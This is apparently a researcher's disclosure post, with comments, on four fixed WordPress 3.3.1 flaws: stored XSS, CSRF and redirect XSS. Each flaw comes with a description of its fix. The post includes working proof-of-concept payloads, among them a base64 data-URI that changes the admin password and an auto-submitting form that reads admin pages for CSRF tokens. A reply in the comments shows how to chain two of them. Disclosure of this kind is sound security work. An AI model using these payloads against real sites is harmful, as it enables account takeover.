I want to share some interesting security issues I found out in Wordpress 3.3.1.
These vulnerabilities were fixed in the latest version, Wordpress 3.3.2, whereby I strongly encourage you to update your WP blogs as many other security issues are involved.
1. Persistent (stored) XSS vulnerability via feed scheme
Analysis
The vulnerability resides in the HTML comments filter, kses, basically the attacker may leave a comment containing a malicious link.
Firefox (only) allows to use the feed scheme to execute Javascript with feed:javascript:alert(1), as reported by Soroush Dalili in a very interesting blogpost , #131. Since the feed scheme is allowed within the attribute HREF of an anchor, the attacker could exploit this in order to trigger a XSS.
Here follows a malicious comment:
<a href="feed:javascript:alert(1)">CLICK ME</a>
Since data URIs in Firefox inherit the domain of the opening page and Wordpress is using X-Frame-Options: SAMEORIGIN for protecting against clickjacking attacks, the attacker may be able to exploit this in order to change the admin credentials.
<a href="feed:data:text/html;base64,PHNjcmlwdD4KZnVuY3Rpb24gc3RhcnQoKSB7CnZhciBwd2QgPSAibXluZXdwd2QiOwp2YXIgaWZyID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImlmcmFtZSIpWzBdOwp2YXIgaWZyRG9jID0gaWZyLmNvbnRlbnREb2N1bWVudCB8fCBpZnIuY29udGVudFdpbmRvdy5kb2N1bWVudDsKdmFyIHRoZUZvcm0gPSBpZnJEb2MuZ2V0RWxlbWVudHNCeU5hbWUoInBhc3MxIilbMF07CnRoZUZvcm0udmFsdWUgPSBwd2Q7CnRoZUZvcm0gPSBpZnJEb2MuZ2V0RWxlbWVudHNCeU5hbWUoInBhc3MyIilbMF07CnRoZUZvcm0udmFsdWUgPSBwd2Q7Cmlmci5vbmxvYWQ9ZnVuY3Rpb24oKXtsb2NhdGlvbj0naHR0cDovLzEyNy4wLjAuMS9DTVMvd29yZHByZXNzLyc7fTsKaWZyRG9jLmdldEVsZW1lbnRCeUlkKCJzdWJtaXQiKS5jbGljaygpOwp9Cjwvc2NyaXB0Pgo8aWZyYW1lIHNyYz0iaHR0cDovLzEyNy4wLjAuMS9DTVMvd29yZHByZXNzL3dwLWFkbWluL3Byb2ZpbGUucGhwIiB3aWR0aD0wIGhlaWdodD0wIG9ubG9hZD0ic3RhcnQoKSI+">CLICK
ME!!!</a>
For the sake of completeness, decoding the previous vector we would have the following code - I'm assuming WP in installed at http://127.0.0.1/CMS/wordpress/.
<script>
function start() {
var pwd = "MY_NEW_PWD";
var ifr = document.getElementsByTagName("iframe")[0];
var ifrDoc = ifr.contentDocument || ifr.contentWindow.document;
var theForm = ifrDoc.getElementsByName("pass1")[0];
theForm.value = pwd;
theForm = ifrDoc.getElementsByName("pass2")[0];
theForm.value = pwd;
ifr.onload=function(){location='http://127.0.0.1/CMS/wordpress/';};
ifrDoc.getElementById("submit").click();
}
</script>
<iframe src="http://127.0.0.1/CMS/wordpress/wp-admin/profile.php" width=0 height=0 onload="start()">
Fix
Since the main goal was to strip out malicious URIs within a concatenation of feed URIs, a recursive sanitization was used; the basic idea consists of going deeper and deeper within the URIs' chain till reaching an allowed scheme, but feed. Note that a threshold was set in order to stop very long recursive calls - for better understanding take a look at the wp_kses_bad_protocol_once() function in kses and here.
2. CSRF in 'leave a new comment' procedure
Analysis
The attacker may force the admin to publish a comment in a blogpost, I mean, the admin is considered as an unprivileged user as it posts a comment, which does not contain the _wp_unfiltered_html_comment POST parameter. This implies that the attacker may ask the admin to visit a malicious page, which makes a POST request and publish a comment on the admin's behalf.
Read the following vulnerability (#3) to understand how this can be successfully exploited.
Fix
This issue couldn't be fixed due to some compatibility issues with older themes, however it is not so critical as #3 was fixed (and no unfiltered HTML comments can be published on the admin's behalf because of the _wp_unfiltered_html_comment nonce).
3. XSS via redirect_to POST parameter ('leave a new comment' procedure)
Analysis
By looking at the last lines of wp-comments-post.php, I realised that an optional POST parameter can be used when adding a new comment - redirect_to. Basically it allows to redirect the user to another location, once left a new comment. The attacker may ask the victim to visit a malicious page which publishes a comment on the admin's behalf and it redirects him to a data URI in order to trigger a XSS attack.
Here follows a PoC:
<body onload="document.forms[0].submit()">
<form action="http://127.0.0.1/wp/wp-comments-post.php" method=POST>
<input type="hidden" name="comment" value="this blog rocks...!!" />
<input type="hidden" name="redirect_to"
value="data:text/html;base64,PHNjcmlwdD4KeGhyID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7IAp4aHIub25yZWFkeXN0YXRlY2hhbmdlICA9IGZ1bmN0aW9uKCkKICAgIHsgCiAgICAgICAgIGlmKHhoci5yZWFkeVN0YXRlICA9PSA0KQogICAgICAgICB7CiAgICAgICAgICAgICAgaWYoeGhyLnN0YXR1cyAgPT0gMjAwKSAKICAgICAgICAgICAgICAgICAgYWxlcnQoeGhyLnJlc3BvbnNlVGV4dCk7IAogICAgICAgICB9CiAgICB9OyAKeGhyLm9wZW4oIkdFVCIsICJodHRwOi8vMTI3LjAuMC4xL3dwL3dwLWFkbWluL3VzZXItbmV3LnBocCIsICB0cnVlKTsgCnhoci5zZW5kKG51bGwpOyAKPC9zY3JpcHQ+" />
<input type="hidden" value="1" name="comment_post_ID">
<input type="hidden" value="0" name="comment_parent">
</form>
</body>
By decoding the payload and assuming WP in installed at http://127.0.0.1/wp/, we would have:
<script>
xhr = new XMLHttpRequest();
xhr.onreadystatechange = function()
{
if(xhr.readyState == 4)
{
if(xhr.status == 200)
alert(xhr.responseText);
}
};
xhr.open("GET", "http://127.0.0.1/wp/wp-admin/user-new.php", true);
xhr.send(null);
</script>
The attacker could steal anti-CSRF tokens by employing this attack. Since it is a PHP server-side redirect - header("Location: targetURL"); - I could only get it to work in Opera, but I suppose it would work in older versions of Firefox and Safari, as you can read from http://sla.ckers.org/forum/read.php?2,35422,35443. Please note that Opera treats data URIs just like Firefox (see #1).
I did not make other tests, but maybe this might be exploited via HTTP response splitting and session fixation too.
Fix
wp_safe_redirect() instead of wp_redirect() was employed, thereafter no malicious redirects are allowed anymore.
4. Persistent (stored) XSS due to a bug in make_clickable()
Analysis
The attacker may submit a malicious comment whose content leads to XSS. This issue is basically related to the fact that URLs, such as http://foo.foo, are automatically converted to HTML anchors.
<a href="http:irc://onmouseover=alert(1)//">addas</a>
This latter would result in:
<a rel="nofollow" onmouseover="alert(1)//"" irc:="" href="http:<a href=">irc://onmouseover=alert(1)//</a>
The same would happen with:
<a href="mailto:ftp://onclick=alert(1)//">asd</a>
Fix
The basic idea is that an anchor was putted into another anchor, whereby only URLs outside tags have been taken into account for conversion in order to solve the issue. For better understanding look at the make_clickable() function is wp-includes/formatting.php and here
Eventually, I want to thank the Wordpress team for their constructive collaboration during the fix process.
4. Persistent (stored) XSS due to a bug in make_clickable()
did you find a way to steal cookies with these vectors ?
or max impact is alert due to filtering .
<a href="http:irc://onmouseover=alert(1)//">addas</a>
Auth cookies cannot be accessed through client side script since WordPress employs the HttpOnly flag.
You can exploit that issue by modifying the admin's credentials with something like:
<a href="http:irc://onmouseover=location='data:text/html;base64,<PAYLOAD-used-in-issue-#1>'">click me</a>
Obviously you need the admin moves its mouse over the injected link.